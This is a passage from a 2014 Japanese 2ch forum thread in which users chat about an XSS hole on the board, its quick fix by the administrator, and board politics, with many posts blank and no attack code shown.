番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:55:14.21 ID:PC6qkPhl0
>>186 こういうのは全部嫌儲発だし常駐してそう
193 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:55:18.13 ID:4sV0yt200
こういう無料デバッガーありがたいよな
本当に悪意のあるクラッカーは何も報告せずに仕込むからな
194 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:59:15.45 ID:PgHVjQRn0
ひろゆきはモペキチを雇って2chを攻撃する気やな
>>194 そんなことしたら自分とこの掲示板ぶっ壊されて終わりでしょ
.js
…イケナイ香りがする
197 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:03:50.85 ID:Kltvx9rwi
198 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:06:11.94 ID:PgHVjQRn0
>>195 ひろゆきはハッカーを雇う金あるけど
JIMは金ないからなぁ
199 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:06:22.86 ID:iA1ViLIs0
スマホがぶっこわれた
Continue押したらどうなんのこれ?
なおっちゃった?
201 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:08:01.89 ID:naQ6VYq+0
掲示板潰すのにハックなんていらんでしょ
唐澤弁護士の指先一つでボン、よ
202 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:09:41.86 ID:JSuZxrO00
jim早い、速いよ
203 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:10:34.51 ID:UeVaUaJF0
unix板の奴らが直してくれるでしょ(ホジホジ
204 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:12:12.13 ID:RhahdoigO
205 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:21:28.61 ID:QdrPZdy50
206 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:22:18.91 ID:afuX3GD70
207 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:29:08.67 ID:QdrPZdy50
208 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:31:26.04 ID:QdrPZdy50
209 :
C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 22:47:52.02 ID:???0 BE:847328605-2BP(1000)
>>208 Does that actually work?
210 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:50:03.13 ID:B+2b8ag10
211 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:59:50.74 ID:4FGQZAhO0
モペキチはTカラに潜んでる気がしてならない
なんJの殻をかぶったモペキチが
212 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:00:51.10 ID:4U+aeixx0
普通専ブラ使うからこういうの無意味じゃね
213 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:01:01.72 ID:Kltvx9rwi
214 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:01:18.08 ID:2zLIvwT80
モペキチは自分の手は汚さないタイプ
バズーカだけ組み立てて、使いたい奴の目の前に置いてくるだけ
>>212 確かに、テキストベースでとってきたものにこれ影響あるのだろうか?
216 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:04:36.25 ID:QdrPZdy50
217 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:04:53.00 ID:1sqSl+L20
スクリプトが2getするのもなんらかのマーカーなんだろうな
2getするスレとしないスレがあるし
218 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:07:30.99 ID:4U+aeixx0
ie6で開いたが何も起こらない件
219 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:08:13.71 ID:1eX2X6N90
>>64 good job
we love you
>>218 腐ったミルクことIE6を使用するテスターの鑑
221 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:13:53.43 ID:FSRvQacb0
222 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:17:27.91 ID:4U+aeixx0
>>220 ie6死んでもまだie7さんが控えてるからな
まあvistaだから絶対数少なくて被害もそれなりだけど
ちなie7でも何も起きない件
>>221 ほんとこれ
ほっとくといつの間にか期限切れでログインできなくなるからスクリーンセーバoffにして
vmの電源切らずに状態保存しとくと吉
linuxとかでプリンタドライバとか無いときにこいつらとgsprintとredmonがあれば
なんちゃってpsプリンタ作れるしいろいろと便利だは
223 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:20:19.48 ID:t6VMRvQ80
>>64 i like penis
my anal is good
224 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:24:58.99 ID:fWiBCrZc0 BE:445972832-2BP(3516)
うざくてもぼきをわすれないでね
のかまってちゃんか
226 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:31:48.03 ID:03nljXcP0
227 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:32:12.23 ID:oNVj7QfQO
>>64 Please say "chaaaa syuuuuu meeeeeen"
(ヽ´ん`)
228 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:53:56.79 ID:kgMvMtyX0
>>226 有能過ぎるな
たらこなんかについてくやつなんて居ないだろjk
229 :
忍法帖【Lv=8,xxxP】(1+0:8) :2014/04/06(日) 00:10:41.42 ID:e6i43tlF0 BE:352483757-2BP(1000)
>>1 KD106158193219.ppp-bb.dion.ne.jp
昔、トップに見えない極小フレーム入れてホリエモンのあばずれ秘書の日記ブログのアクセス稼いでたのは何の目的があったんだよ?
今時XSSなんて潰せてない時点で有能も糞もないだろ
232 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/06(日) 02:14:01.63 ID:skn4Qjv80
>>231 そうだけど旧運営ならこの程度でもまだ放置
嫌儲にスレ立ってすぐ潰しにかかっただけマシだわ
(旧運営と比べて)有能ってことやからな
233 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/06(日) 02:18:33.21 ID:WEIBDCiA0
なんや直されたんか
気づくの遅れて遊べんかったわ糞が
234 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/06(日) 02:18:39.35 ID:ozXc7ya70
ジムニキの対応が普通のウェブサービスみたいな早さで
2chってこんなところだったっけ・っと妙な気持ちになる
ジムじゃなかった、コードモンキーか
たらこは取り返すとかいいつつ変なドメイン取って新しい2ch作ろうとしてるし取り返す気ないよね
たらこちゃんねるもオープンもアフィの巣窟で一年ももたんだろうな
>214
それ、東日本。
東日本がバズーカをこれ見よがしに放置して、それをあきら君が使うと。